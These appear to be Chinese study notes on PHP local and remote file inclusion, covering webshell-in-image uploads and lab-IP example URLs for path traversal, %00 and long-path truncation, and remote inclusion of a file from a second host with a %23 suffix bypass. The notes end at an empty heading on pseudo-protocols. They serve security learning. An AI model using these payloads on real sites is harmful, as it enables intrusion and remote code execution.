檔案包含學習筆記(PHP)
檔案包含包括本地檔案包含和遠端檔案包含,當檔案上傳檢測比較嚴密時(無法直接上傳可執行指令碼),可先上傳一個非可執行指令碼(如圖片和文件),在其中包含著webshell,然後將其進行檔案包含,使其中的webshell能夠被當做指令碼執行。
如果直接訪問包含著webshell的文字或圖片,webshell檔案就只會被當做靜態檔案展示出來。
一、漏洞檢測
如何檢測一個網站是否存在檔案包含漏洞
1、白盒 程式碼審計
2、黑盒 漏掃工具
公開漏洞(如果網站使用了cms可以查詢該文章管理系統是否存在已知漏洞)
手工看引數值即功能點(檔案包含的特徵)
二、包含型別
本地包含:只能包含本地檔案,也可以利用日誌寫入之類的技巧。
遠端包含:可以包含其他網站的檔案,因為可以自己構造檔案所以危害比本地包含更大。
無限制:可以包含任意型別檔案,對所包含的檔案沒有任何過濾和限制。
有限制:對要包含的檔案有一定過濾措施,需要用特殊方法繞過。
三、本地包含
無限制舉例:
http://192.168.9.140/include.php?filename=1.txt txt檔案將被當做指令碼檔案執行
http://192.168.9.140/include.php?filename=../../../www.txt 可目錄穿越包含其他路徑的檔案
有限制舉例:
1、限制檔案字尾名
下圖中程式碼在檔案後強制加上了.html的字尾,意為:只能包含字尾名為.html的檔案,因為在相應目錄下找不到對應檔名的.html檔案(上傳的是.txt檔案),檔案包含失敗。
繞過方法:
(1)%00截斷:條件:magic_quotes_qpc=off php版本<5.3.4
filename=../../../www.txt%00
(2)長度截斷:條件:Windows點號需要長於256;Linux長於4096
url長度超過規定長度時,.html字尾就加不上去了,還是會尋找字尾為.txt的檔案。
/./././././././././././././././././././.
雖然檔名字尾過濾可以被繞過,但如果攻擊者看不到原始碼的話,也會對其攻擊造成一定阻礙。
2、過濾../、\..、http、https
四、遠端包含
是否能遠端包含取決於兩點,allow_url_include是否為on,程式碼中是否限制只能包含本地檔案。allow_url_include設定可以在phpinfo頁面看到。
無限制:
http://192.168.9.140/include.php?filename=http://192.168.9.100/readme.txt
有限制:(過濾檔案字尾)
http://192.168.9.140/include.php?filename=http://192.168.9.100/readme.txt%23 (%20或?也可)
五、利用偽協議